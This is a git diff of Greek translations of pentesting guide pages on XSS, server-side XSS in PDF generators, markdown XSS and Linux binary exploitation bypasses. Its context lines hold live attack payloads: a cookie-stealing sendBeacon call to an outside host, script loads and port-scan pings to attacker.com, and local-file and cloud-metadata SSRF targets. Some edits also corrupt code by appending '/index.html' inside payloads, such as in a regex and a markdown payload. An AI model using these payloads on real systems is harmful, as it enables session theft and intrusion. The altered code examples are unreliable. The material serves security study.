-Αν διαπιστώσετε ότι μπορείτε να **εγχύσετε κεφαλίδες σε μια απόκριση 302 Redirect**, μπορείτε να προσπαθήσετε να **αναγκάσετε τον περιηγητή να εκτελέσει αυθαίρετο JavaScript**. Αυτό **δεν είναι απλό**, καθώς οι σύγχρονοι περιηγητές δεν ερμηνεύουν το σώμα της απόκρισης HTTP αν ο κωδικός κατάστασης της απόκρισης HTTP είναι 302, οπότε απλώς ένα payload cross-site scripting είναι άχρηστο.
+Αν διαπιστώσετε ότι μπορείτε να **εγχύσετε κεφαλίδες σε μια απάντηση 302 Redirect**, μπορείτε να προσπαθήσετε να **αναγκάσετε τον περιηγητή να εκτελέσει αυθαίρετο JavaScript**. Αυτό **δεν είναι απλό** καθώς οι σύγχρονοι περιηγητές δεν ερμηνεύουν το σώμα της HTTP απάντησης αν ο κωδικός κατάστασης της HTTP απάντησης είναι 302, οπότε απλώς ένα payload cross-site scripting είναι άχρηστο.
 
-Στο [**αυτό το αναφορά**](https://www.gremwell.com/firefox-xss-302) και [**σε αυτό**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) μπορείτε να διαβάσετε πώς μπορείτε να δοκιμάσετε διάφορα πρωτόκολλα μέσα στην κεφαλίδα Location και να δείτε αν κάποιο από αυτά επιτρέπει στον περιηγητή να επιθεωρήσει και να εκτελέσει το payload XSS μέσα στο σώμα.\
+Στην [**αναφορά αυτή**](https://www.gremwell.com/firefox-xss-302) και [**σε αυτήν**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) μπορείτε να διαβάσετε πώς μπορείτε να δοκιμάσετε διάφορα πρωτόκολλα μέσα στην κεφαλίδα Location και να δείτε αν κάποιο από αυτά επιτρέπει στον περιηγητή να επιθεωρήσει και να εκτελέσει το payload XSS μέσα στο σώμα.\
 Προηγούμενα γνωστά πρωτόκολλα: `mailto://`, `//x:1/`, `ws://`, `wss://`, _κενή κεφαλίδα Location_, `resource://`.
 
 ### Μόνο Γράμματα, Αριθμοί και Τελείες
 
-Αν μπορείτε να υποδείξετε το **callback** που θα **εκτελέσει** το javascript περιορισμένο σε αυτούς τους χαρακτήρες. [**Διαβάστε αυτή την ενότητα αυτής της ανάρτησης**](#javascript-function) για να βρείτε πώς να εκμεταλλευτείτε αυτή τη συμπεριφορά.
+Αν μπορείτε να υποδείξετε το **callback** που θα **εκτελέσει** το javascript περιορισμένο σε αυτούς τους χαρακτήρες. [**Διαβάστε αυτή την ενότητα της ανάρτησης**](#javascript-function) για να βρείτε πώς να εκμεταλλευτείτε αυτή τη συμπεριφορά.
 
 ### Έγκυροι `<script>` Τύποι Περιεχομένου για XSS
 
@@ -864,14 +864,12 @@ const char* const kSupportedJavascriptTypes[] = {
 ```
 ### Script Types to XSS
 
-(Από [**εδώ**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ποιοι τύποι θα μπορούσαν να υποδεικνύουν τη φόρτωση ενός script;
+(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Έτσι, ποιοι τύποι θα μπορούσαν να υποδεικνύουν τη φόρτωση ενός script;
 ```html
 <script type="???"></script>
 ```
-Η απάντηση είναι:
-
 - **module** (προεπιλογή, τίποτα να εξηγήσω)
-- [**webbundle**](https://web.dev/web-bundles/): Το Web Bundles είναι μια δυνατότητα που μπορείτε να συσκευάσετε μια σειρά δεδομένων (HTML, CSS, JS…) μαζί σε ένα **`.wbn`** αρχείο.
+- [**webbundle**](https://web.dev/web-bundles/): Web Bundles είναι μια δυνατότητα που μπορείτε να συσκευάσετε μια σειρά δεδομένων (HTML, CSS, JS…) μαζί σε ένα **`.wbn`** αρχείο.
 ```html
 <script type="webbundle">
 {
@@ -943,7 +941,7 @@ import { partition } from "lodash"
 ```
 ### Ειδικά Πρότυπα Αντικατάστασης
 
-Όταν χρησιμοποιείται κάτι όπως **`"some {{template}} data".replace("{{template}}", <user_input>)`**. Ο επιτιθέμενος θα μπορούσε να χρησιμοποιήσει [**ειδικές αντικαταστάσεις συμβολοσειρών**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) για να προσπαθήσει να παρακάμψει κάποιες προστασίες: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
+Όταν χρησιμοποιείται κάτι όπως **`"some {{template}} data".replace("{{template}}", <user_input>)`**, ο επιτιθέμενος θα μπορούσε να χρησιμοποιήσει [**ειδικές αντικαταστάσεις συμβολοσειρών**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) για να προσπαθήσει να παρακάμψει κάποιες προστασίες: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
 
 Για παράδειγμα, σε [**αυτή την αναφορά**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), αυτό χρησιμοποιήθηκε για να **διαφύγει μια συμβολοσειρά JSON** μέσα σε ένα σενάριο και να εκτελέσει αυθαίρετο κώδικα.
 
@@ -963,7 +961,7 @@ eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequir
 
 // use of with
 with(console)log(123)
-with(/console.log(1)/)with(this)with(constructor)constructor(source)()
+with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
 // Just replace console.log(1) to the real code, the code we want to run is:
 //return String(process.mainModule.require('fs').readFileSync('flag.txt'))
 
@@ -986,7 +984,7 @@ constructor(source)()
 // For more uses of with go to challenge misc/CaaSio PSE in
 // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
 ```
-Αν **όλα είναι μη καθορισμένα** πριν την εκτέλεση μη αξιόπιστου κώδικα (όπως σε [**αυτή την αναφορά**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) είναι δυνατόν να δημιουργηθούν χρήσιμα αντικείμενα "από το τίποτα" για να εκμεταλλευτούμε την εκτέλεση αυθαίρετου μη αξιόπιστου κώδικα:
+Αν **τα πάντα είναι μη καθορισμένα** πριν την εκτέλεση μη αξιόπιστου κώδικα (όπως σε [**αυτή την αναφορά**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), είναι δυνατόν να δημιουργηθούν χρήσιμα αντικείμενα "από το τίποτα" για να εκμεταλλευτούμε την εκτέλεση αυθαίρετου μη αξιόπιστου κώδικα:
 
 - Χρησιμοποιώντας import()
 ```javascript
@@ -1269,7 +1267,7 @@ steal-info-js.md
 <script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
 ```
 > [!NOTE]
-> Δεν **θα μπορείτε να αποκτήσετε πρόσβαση στα cookies από το JavaScript** αν η σημαία HTTPOnly είναι ρυθμισμένη στο cookie. Αλλά εδώ έχετε [μερικούς τρόπους να παρακάμψετε αυτή την προστασία](../hacking-with-cookies/index.html#httponly) αν είστε αρκετά τυχεροί.
+> Δεν **θα μπορείτε να αποκτήσετε πρόσβαση στα cookies από το JavaScript** αν η σημαία HTTPOnly είναι ρυθμισμένη στο cookie. Αλλά εδώ έχετε [μερικούς τρόπους για να παρακάμψετε αυτή την προστασία](../hacking-with-cookies/index.html#httponly) αν είστε αρκετά τυχεροί.
 
 ### Κλοπή Περιεχομένου Σελίδας
 ```javascript
@@ -1345,7 +1343,7 @@ q.shift()()
 ```javascript
 const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
 ```
-### Σαρωτής Θερμοκρασίας (websockets)
+### Σαρωτής Θερμοφυσικών Θυρών (websockets)
 ```python
 var ports = [80, 443, 445, 554, 3306, 3690, 1234];
 for(var i=0; i<ports.length; i++) {
@@ -1360,9 +1358,9 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
 };
 }
 ```
-_Οι σύντομοι χρόνοι υποδεικνύουν μια απαντητική θύρα_ _Οι μεγαλύτεροι χρόνοι υποδεικνύουν ότι δεν υπάρχει απάντηση._
+_Σύντομοι χρόνοι υποδεικνύουν μια απαντητική θύρα_ _Μακρύτεροι χρόνοι υποδεικνύουν καμία απάντηση._
 
-Δείτε τη λίστα με τις θύρες που έχουν αποκλειστεί στο Chrome [**εδώ**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) και στο Firefox [**εδώ**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
+Δείτε τη λίστα με τις θύρες που έχουν απαγορευτεί στο Chrome [**εδώ**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) και στο Firefox [**εδώ**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
 
 ### Κουτί για να ζητήσετε διαπιστευτήρια
 ```markup
@@ -1475,7 +1473,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
 ```
 ### Regex - Πρόσβαση σε Κρυφό Περιεχόμενο
 
-Από [**αυτή τη γραφή**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατόν να μάθουμε ότι ακόμη και αν κάποιες τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατό να τις βρούμε σε JS attributes σε διάφορα αντικείμενα. Για παράδειγμα, μια είσοδος ενός REGEX είναι ακόμα δυνατό να βρεθεί μετά την αφαίρεση της τιμής της εισόδου του regex:
+Από [**αυτή την αναφορά**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατόν να μάθουμε ότι ακόμη και αν κάποιες τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατό να τις βρούμε σε JS attributes σε διάφορα αντικείμενα. Για παράδειγμα, μια είσοδος ενός REGEX είναι ακόμα δυνατό να βρεθεί μετά την αφαίρεση της τιμής της εισόδου του regex:
 ```javascript
 // Do regex with flag
 flag = "CTF{FLAG}"
@@ -1498,7 +1496,7 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
 {{#endref}}
 
-## XSS Κατάχρηση άλλων ευπαθειών
+## XSS Εκμετάλλευση άλλων ευπαθειών
 
 ### XSS σε Markdown
 

src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md

@@ -69,9 +69,9 @@ if not, you will at least have wich path the bot is accessing -->
 <img src="x" onerror="document.write(window.location)" />
 <script> document.write(window.location) </script>
 ```
-### Φόρτωση εξωτερικού σεναρίου
+### Φόρτωση εξωτερικού script
 
-Ο καλύτερος τρόπος εκμετάλλευσης αυτής της ευπάθειας είναι να εκμεταλλευτείτε την ευπάθεια για να κάνετε το bot να φορτώσει ένα σενάριο που ελέγχετε τοπικά. Στη συνέχεια, θα μπορείτε να αλλάξετε το payload τοπικά και να κάνετε το bot να το φορτώνει με τον ίδιο κώδικα κάθε φορά.
+Ο καλύτερος συμβατός τρόπος για να εκμεταλλευτείτε αυτήν την ευπάθεια είναι να καταχραστείτε την ευπάθεια για να κάνετε το bot να φορτώσει ένα script που ελέγχετε τοπικά. Στη συνέχεια, θα μπορείτε να αλλάξετε το payload τοπικά και να κάνετε το bot να το φορτώνει με τον ίδιο κώδικα κάθε φορά.
 ```markup
 <script src="http://attacker.com/myscripts.js"></script>
 <img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
@@ -79,7 +79,7 @@ if not, you will at least have wich path the bot is accessing -->
 ### Ανάγνωση τοπικού αρχείου / SSRF
 
 > [!WARNING]
-> Αλλάξτε το `file:///etc/passwd` σε `http://169.254.169.254/latest/user-data` για παράδειγμα για **να προσπαθήσετε να αποκτήσετε πρόσβαση σε μια εξωτερική ιστοσελίδα (SSRF)**.
+> Αλλάξτε το `file:///etc/passwd` σε `http://169.254.169.254/latest/user-data` για παράδειγμα για να **δοκιμάσετε να αποκτήσετε πρόσβαση σε μια εξωτερική ιστοσελίδα (SSRF)**.
 >
 > Εάν επιτρέπεται το SSRF, αλλά **δεν μπορείτε να φτάσετε** σε έναν ενδιαφέροντα τομέα ή IP, [ελέγξτε αυτή τη σελίδα για πιθανά bypasses](../ssrf-server-side-request-forgery/url-format-bypass.md).
 ```markup
@@ -145,13 +145,13 @@ checkPort(i);
 </script>
 <img src="https://attacker.com/startingScan">
 ```
-### [SSRF](../ssrf-server-side-request-forgery/)
+### [SSRF](../ssrf-server-side-request-forgery/index.html)
 
 Αυτή η ευπάθεια μπορεί να μετατραπεί πολύ εύκολα σε SSRF (καθώς μπορείτε να κάνετε το σενάριο να φορτώσει εξωτερικούς πόρους). Έτσι, απλώς προσπαθήστε να την εκμεταλλευτείτε (διαβάστε κάποια μεταδεδομένα;).
 
 ### Attachments: PD4ML
 
-Υπάρχουν μερικές μηχανές HTML 2 PDF που επιτρέπουν να **καθορίσετε συνημμένα για το PDF**, όπως το **PD4ML**. Μπορείτε να εκμεταλλευτείτε αυτή τη δυνατότητα για να **συνημμένο οποιοδήποτε τοπικό αρχείο** στο PDF.\
+Υπάρχουν μερικοί κινητήρες HTML 2 PDF που επιτρέπουν να **καθορίσετε συνημμένα για το PDF**, όπως το **PD4ML**. Μπορείτε να εκμεταλλευτείτε αυτή τη δυνατότητα για να **συνημμένο οποιοδήποτε τοπικό αρχείο** στο PDF.\
 Για να ανοίξω το συνημμένο, άνοιξα το αρχείο με **Firefox και διπλό κλικ στο σύμβολο του συρραπτικού** για να **αποθηκεύσω το συνημμένο** ως νέο αρχείο.\
 Η καταγραφή της **απάντησης PDF** με το burp θα πρέπει επίσης να **εμφανίσει το συνημμένο σε καθαρό κείμενο** μέσα στο PDF.
 ```html

src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md

@@ -6,7 +6,7 @@
 
 ### HTML tags
 
-Ο πιο κοινός τρόπος για να αποκτήσετε XSS σε markdown είναι να εισάγετε κοινές HTML ετικέτες που εκτελούν javascript, επειδή αρκετοί ερμηνευτές markdown θα αποδεχτούν επίσης HTML.
+Ο πιο κοινός τρόπος για να αποκτήσετε XSS σε markdown είναι να εισάγετε κοινές HTML tags που εκτελούν javascript, επειδή αρκετοί ερμηνευτές markdown θα αποδεχτούν επίσης HTML.
 ```html
 <!-- XSS with regular tags -->
 <script>
@@ -42,7 +42,7 @@ t:prompt(document.cookie))
 ```
 ### HTML Sanitiser Markdown Bypass
 
-Ο παρακάτω κώδικας είναι **καθαρισμός HTML εισόδου** και στη συνέχεια **περνάει στον αναλυτή markdown**, τότε, το XSS μπορεί να ενεργοποιηθεί εκμεταλλευόμενο τις λανθασμένες ερμηνείες μεταξύ Markdown και DOMPurify&#x20;
+Ο παρακάτω κώδικας **καθαρίζει την είσοδο HTML** και στη συνέχεια **την περνά στον αναλυτή markdown**, τότε, το XSS μπορεί να ενεργοποιηθεί εκμεταλλευόμενο τις λανθασμένες ερμηνείες μεταξύ Markdown και DOMPurify&#x20;
 ```html
 <!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
 <script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
@@ -61,7 +61,7 @@ DOMPurify.sanitize(qs.get("content"))
 <div
 id="1
 
-![](contenteditable/autofocus/onfocus=confirm('qwq')//)">
+![](contenteditable/autofocus/onfocus=confirm('qwq')//index.html)">
 -----------------------------------------------
 <a
 title="a

src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md

@@ -9,7 +9,7 @@
 ## Bypasses
 
 - Είναι δυνατόν να χρησιμοποιηθούν τεχνικές όπως [**ROP**](../stack-overflow/rop-return-oriented-programing.md) για να παρακαμφθεί αυτή η προστασία εκτελώντας κομμάτια εκτελέσιμου κώδικα που είναι ήδη παρόντα στο δυαδικό.
-- [**Ret2libc**](../stack-overflow/ret2lib/)
+- [**Ret2libc**](../stack-overflow/ret2lib/index.html)
 - [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
 - **Ret2...**
 

src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md

@@ -6,14 +6,14 @@
 
 Ένα δυαδικό αρχείο που έχει μεταγλωττιστεί ως PIE, ή **Position Independent Executable**, σημαίνει ότι το **πρόγραμμα μπορεί να φορτωθεί σε διαφορετικές τοποθεσίες μνήμης** κάθε φορά που εκτελείται, αποτρέποντας τις σκληροκωδικοποιημένες διευθύνσεις.
 
-Το κόλπο για να εκμεταλλευτείτε αυτά τα δυαδικά αρχεία έγκειται στην εκμετάλλευση των **σχετικών διευθύνσεων**—οι αποστάσεις μεταξύ των μερών του προγράμματος παραμένουν οι ίδιες ακόμη και αν οι απόλυτες τοποθεσίες αλλάξουν. Για να **παρακάμψετε το PIE, χρειάζεται μόνο να διαρρεύσετε μία διεύθυνση**, συνήθως από τη **στοίβα** χρησιμοποιώντας ευπάθειες όπως οι επιθέσεις μορφοποίησης συμβολοσειρών. Μόλις έχετε μια διεύθυνση, μπορείτε να υπολογίσετε άλλες με βάση τις **σταθερές αποστάσεις** τους.
+Η τεχνική για την εκμετάλλευση αυτών των δυαδικών αρχείων έγκειται στην εκμετάλλευση των **σχετικών διευθύνσεων**—οι αποστάσεις μεταξύ των μερών του προγράμματος παραμένουν οι ίδιες ακόμη και αν οι απόλυτες τοποθεσίες αλλάξουν. Για να **παρακάμψετε το PIE, χρειάζεται μόνο να διαρρεύσετε μία διεύθυνση**, συνήθως από τη **στοίβα** χρησιμοποιώντας ευπάθειες όπως οι επιθέσεις μορφοποίησης συμβολοσειρών. Μόλις έχετε μία διεύθυνση, μπορείτε να υπολογίσετε άλλες με βάση τις **σταθερές αποστάσεις** τους.
 
 Μια χρήσιμη ένδειξη στην εκμετάλλευση δυαδικών αρχείων PIE είναι ότι η **βάση τους συνήθως τελειώνει σε 000** λόγω των σελίδων μνήμης που είναι οι μονάδες τυχαίας κατανομής, με μέγεθος 0x1000 bytes. Αυτή η ευθυγράμμιση μπορεί να είναι μια κρίσιμη **έλεγχος αν μια εκμετάλλευση δεν λειτουργεί** όπως αναμένεται, υποδεικνύοντας αν έχει προσδιοριστεί η σωστή βάση διεύθυνσης.\
 Ή μπορείτε να το χρησιμοποιήσετε για την εκμετάλλευσή σας, αν διαρρεύσετε ότι μια διεύθυνση βρίσκεται στη **`0x649e1024`** γνωρίζετε ότι η **βάση είναι `0x649e1000`** και από εκεί μπορείτε απλά να **υπολογίσετε τις αποστάσεις** των συναρτήσεων και των τοποθεσιών.
 
 ## Bypasses
 
-Για να παρακάμψετε το PIE χρειάζεται να **διαρρεύσετε κάποια διεύθυνση του φορτωμένου** δυαδικού αρχείου, υπάρχουν μερικές επιλογές για αυτό:
+Για να παρακάμψετε το PIE είναι απαραίτητο να **διαρρεύσετε κάποια διεύθυνση του φορτωμένου** δυαδικού αρχείου, υπάρχουν μερικές επιλογές για αυτό:
 
 - **Απενεργοποιημένο ASLR**: Αν το ASLR είναι απενεργοποιημένο, ένα δυαδικό αρχείο που έχει μεταγλωττιστεί με PIE θα **φορτωθεί πάντα στην ίδια διεύθυνση**, επομένως το **PIE θα είναι άχρηστο** καθώς οι διευθύνσεις των αντικειμένων θα είναι πάντα στο ίδιο μέρος.
 - Να **δοθεί** η διαρροή (συνηθισμένο σε εύκολες προκλήσεις CTF, [**ελέγξτε αυτό το παράδειγμα**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
@@ -23,7 +23,7 @@
 bypassing-canary-and-pie.md
 {{#endref}}
 
-- Χρησιμοποιήστε μια αυθαίρετη ευπάθεια ανάγνωσης όπως [**format string**](../../format-strings/) για να διαρρεύσετε μια διεύθυνση του δυαδικού αρχείου (π.χ. από τη στοίβα, όπως στην προηγούμενη τεχνική) για να αποκτήσετε τη βάση του δυαδικού και να χρησιμοποιήσετε αποστάσεις από εκεί. [**Βρείτε ένα παράδειγμα εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
+- Χρησιμοποιήστε μια αυθαίρετη ευπάθεια ανάγνωσης όπως [**format string**](../../format-strings/index.html) για να διαρρεύσετε μια διεύθυνση του δυαδικού αρχείου (π.χ. από τη στοίβα, όπως στην προηγούμενη τεχνική) για να αποκτήσετε τη βάση του δυαδικού και να χρησιμοποιήσετε αποστάσεις από εκεί. [**Βρείτε ένα παράδειγμα εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
 
 ## References
 

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md

@@ -4,9 +4,9 @@
 
 ## Τι είναι το Stack Overflow
 
-Ένα **stack overflow** είναι μια ευπάθεια που συμβαίνει όταν ένα πρόγραμμα γράφει περισσότερα δεδομένα στο stack από όσα έχει εκχωρηθεί να κρατήσει. Αυτά τα επιπλέον δεδομένα θα **επικαλύψουν τον γειτονικό χώρο μνήμης**, οδηγώντας στη διαφθορά έγκυρων δεδομένων, διαταραχή της ροής ελέγχου και ενδεχομένως την εκτέλεση κακόβουλου κώδικα. Αυτό το ζήτημα προκύπτει συχνά λόγω της χρήσης μη ασφαλών συναρτήσεων που δεν εκτελούν έλεγχο ορίων στην είσοδο.
+Ένα **stack overflow** είναι μια ευπάθεια που συμβαίνει όταν ένα πρόγραμμα γράφει περισσότερα δεδομένα στο stack από όσα έχει εκχωρηθεί να κρατήσει. Αυτά τα επιπλέον δεδομένα θα **επικαλύψουν γειτονικό χώρο μνήμης**, οδηγώντας σε διαφθορά έγκυρων δεδομένων, διαταραχή ροής ελέγχου και ενδεχομένως την εκτέλεση κακόβουλου κώδικα. Αυτό το ζήτημα προκύπτει συχνά λόγω της χρήσης μη ασφαλών συναρτήσεων που δεν εκτελούν έλεγχο ορίων στην είσοδο.
 
-Το κύριο πρόβλημα αυτής της επικαλύψεως είναι ότι ο **αποθηκευμένος δείκτης εντολών (EIP/RIP)** και ο **αποθηκευμένος δείκτης βάσης (EBP/RBP)** για να επιστρέψει στην προηγούμενη συνάρτηση είναι **αποθηκευμένα στο stack**. Επομένως, ένας επιτιθέμενος θα είναι σε θέση να τα επικαλύψει και να **ελέγξει τη ροή εκτέλεσης του προγράμματος**.
+Το κύριο πρόβλημα αυτής της επικαλύψης είναι ότι ο **αποθηκευμένος δείκτης εντολών (EIP/RIP)** και ο **αποθηκευμένος δείκτης βάσης (EBP/RBP)** για να επιστρέψουν στην προηγούμενη συνάρτηση είναι **αποθηκευμένα στο stack**. Επομένως, ένας επιτιθέμενος θα είναι σε θέση να τα επικαλύψει και να **ελέγξει τη ροή εκτέλεσης του προγράμματος**.
 
 Η ευπάθεια συνήθως προκύπτει επειδή μια συνάρτηση **αντιγράφει στο stack περισσότερα bytes από την ποσότητα που έχει εκχωρηθεί γι' αυτήν**, επομένως μπορεί να επικαλύψει άλλα μέρη του stack.\
 Ορισμένες κοινές συναρτήσεις που είναι ευάλωτες σε αυτό είναι: `strcpy`, `strcat`, `sprintf`, `gets`... Επίσης, συναρτήσεις όπως `fgets` ή `read`, που δέχονται ένα όρισμα μήκους, μπορεί να χρησιμοποιηθούν με ευάλωτο τρόπο αν το καθορισμένο μήκος είναι μεγαλύτερο από το εκχωρημένο.
@@ -20,11 +20,11 @@ gets(buffer); // This is where the vulnerability lies
 printf("You entered: %s\n", buffer);
 }
 ```
-### Εύρεση Stack Overflows
+### Εύρεση Σφαλμάτων Στοίβας
 
-Ο πιο κοινός τρόπος για να βρείτε stack overflows είναι να δώσετε μια πολύ μεγάλη είσοδο από `A`s (π.χ. `python3 -c 'print("A"*1000)'`) και να περιμένετε ένα `Segmentation Fault` που υποδεικνύει ότι η **διεύθυνση `0x41414141` προσπαθήθηκε να προσπελαστεί**.
+Ο πιο κοινός τρόπος για να βρείτε σφάλματα στοίβας είναι να δώσετε μια πολύ μεγάλη είσοδο από `A`s (π.χ. `python3 -c 'print("A"*1000)'`) και να περιμένετε ένα `Segmentation Fault` που υποδεικνύει ότι η **διεύθυνση `0x41414141` προσπαθήθηκε να προσπελαστεί**.
 
-Επιπλέον, μόλις βρείτε ότι υπάρχει ευπάθεια Stack Overflow, θα χρειαστεί να βρείτε την απόσταση μέχρι να είναι δυνατό να **επικαλύψετε τη διεύθυνση επιστροφής**, για αυτό συνήθως χρησιμοποιείται μια **ακολουθία De Bruijn.** Η οποία για ένα δεδομένο αλφάβητο μεγέθους _k_ και υποακολουθίες μήκους _n_ είναι μια **κυκλική ακολουθία στην οποία κάθε δυνατή υποακολουθία μήκους **_**n**_** εμφανίζεται ακριβώς μία φορά** ως συνεχής υποακολουθία.
+Επιπλέον, μόλις βρείτε ότι υπάρχει ευπάθεια Σφάλματος Στοίβας, θα χρειαστεί να βρείτε την απόσταση μέχρι να είναι δυνατό να **επικαλύψετε τη διεύθυνση επιστροφής**, για αυτό συνήθως χρησιμοποιείται μια **ακολουθία De Bruijn.** Η οποία για μια δεδομένη αλφάβητο μεγέθους _k_ και υποακολουθίες μήκους _n_ είναι μια **κυκλική ακολουθία στην οποία κάθε δυνατή υποακολουθία μήκους **_**n**_** εμφανίζεται ακριβώς μία φορά** ως συνεχής υποακολουθία.
 
 Με αυτόν τον τρόπο, αντί να χρειάζεται να καταλάβετε ποια απόσταση είναι απαραίτητη για να ελέγξετε το EIP με το χέρι, είναι δυνατό να χρησιμοποιήσετε ως padding μία από αυτές τις ακολουθίες και στη συνέχεια να βρείτε την απόσταση των byte που τελείωσαν επικαλύπτοντάς το.
 
@@ -47,16 +47,16 @@ pattern create 200 #Generate length 200 pattern
 pattern search "avaaawaa" #Search for the offset of that substring
 pattern search $rsp #Search the offset given the content of $rsp
 ```
-## Εκμετάλλευση Σφαλμάτων Στοίβας
+## Εκμετάλλευση Στοίβας Υπερχείλισης
 
-Κατά τη διάρκεια μιας υπερχείλισης (υποθέτοντας ότι το μέγεθος της υπερχείλισης είναι αρκετά μεγάλο) θα είστε σε θέση να αντικαταστήσετε τις τιμές των τοπικών μεταβλητών μέσα στη στοίβα μέχρι να φτάσετε στο αποθηκευμένο EBP/RBP και EIP/RIP (ή ακόμα περισσότερο).\
-Ο πιο κοινός τρόπος για να εκμεταλλευτείτε αυτόν τον τύπο ευπάθειας είναι με το **να τροποποιήσετε τη διεύθυνση επιστροφής** έτσι ώστε όταν η συνάρτηση τελειώσει, **η ροή ελέγχου να ανακατευθυνθεί όπου ο χρήστης καθόρισε** σε αυτόν τον δείκτη.
+Κατά τη διάρκεια μιας υπερχείλισης (υποθέτοντας ότι το μέγεθος της υπερχείλισης είναι αρκετά μεγάλο) θα είστε σε θέση να επαναγράψετε τις τιμές των τοπικών μεταβλητών μέσα στη στοίβα μέχρι να φτάσετε στο αποθηκευμένο EBP/RBP και EIP/RIP (ή ακόμα περισσότερο).\
+Ο πιο κοινός τρόπος για να εκμεταλλευτείτε αυτόν τον τύπο ευπάθειας είναι με το **να τροποποιήσετε τη διεύθυνση επιστροφής** έτσι ώστε όταν η συνάρτηση τελειώσει, η **ροή ελέγχου να ανακατευθυνθεί όπου έχει καθορίσει ο χρήστης** σε αυτόν τον δείκτη.
 
-Ωστόσο, σε άλλα σενάρια, ίσως απλά **η αντικατάσταση κάποιων τιμών μεταβλητών στη στοίβα** να είναι αρκετή για την εκμετάλλευση (όπως σε εύκολες προκλήσεις CTF).
+Ωστόσο, σε άλλα σενάρια, ίσως απλά **η επαναγραφή κάποιων τιμών μεταβλητών στη στοίβα** να είναι αρκετή για την εκμετάλλευση (όπως σε εύκολες προκλήσεις CTF).
 
 ### Ret2win
 
-Σε αυτούς τους τύπους προκλήσεων CTF, υπάρχει μια **συνάρτηση** **μέσα** στο δυαδικό αρχείο που **ποτέ δεν καλείται** και που **πρέπει να καλέσετε για να κερδίσετε**. Για αυτές τις προκλήσεις χρειάζεται απλώς να βρείτε την **απόσταση για να αντικαταστήσετε τη διεύθυνση επιστροφής** και **να βρείτε τη διεύθυνση της συνάρτησης** που θα καλέσετε (συνήθως [**ASLR**](../common-binary-protections-and-bypasses/aslr/) θα είναι απενεργοποιημένο) έτσι ώστε όταν η ευάλωτη συνάρτηση επιστρέψει, η κρυφή συνάρτηση θα κληθεί:
+Σε αυτούς τους τύπους προκλήσεων CTF, υπάρχει μια **συνάρτηση** **μέσα** στο δυαδικό αρχείο που **ποτέ δεν καλείται** και που **πρέπει να καλέσετε για να κερδίσετε**. Για αυτές τις προκλήσεις, χρειάζεται απλώς να βρείτε την **απόσταση για να επαναγράψετε τη διεύθυνση επιστροφής** και **να βρείτε τη διεύθυνση της συνάρτησης** που θα καλέσετε (συνήθως [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) θα είναι απενεργοποιημένο) έτσι ώστε όταν η ευάλωτη συνάρτηση επιστρέψει, η κρυφή συνάρτηση θα κληθεί:
 
 {{#ref}}
 ret2win.md

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md

@@ -35,14 +35,14 @@ call qword [r15 + rbx*8];
 ```
 ## Παράδειγμα
 
-Φανταστείτε ότι θέλετε να κάνετε μια syscall ή να καλέσετε μια συνάρτηση όπως το `write()`, αλλά χρειάζεστε συγκεκριμένες τιμές στους καταχωρητές `rdx` και `rsi` ως παραμέτρους. Συνήθως, θα ψάχνατε για gadgets που ρυθμίζουν αυτούς τους καταχωρητές άμεσα, αλλά δεν μπορείτε να βρείτε κανένα.
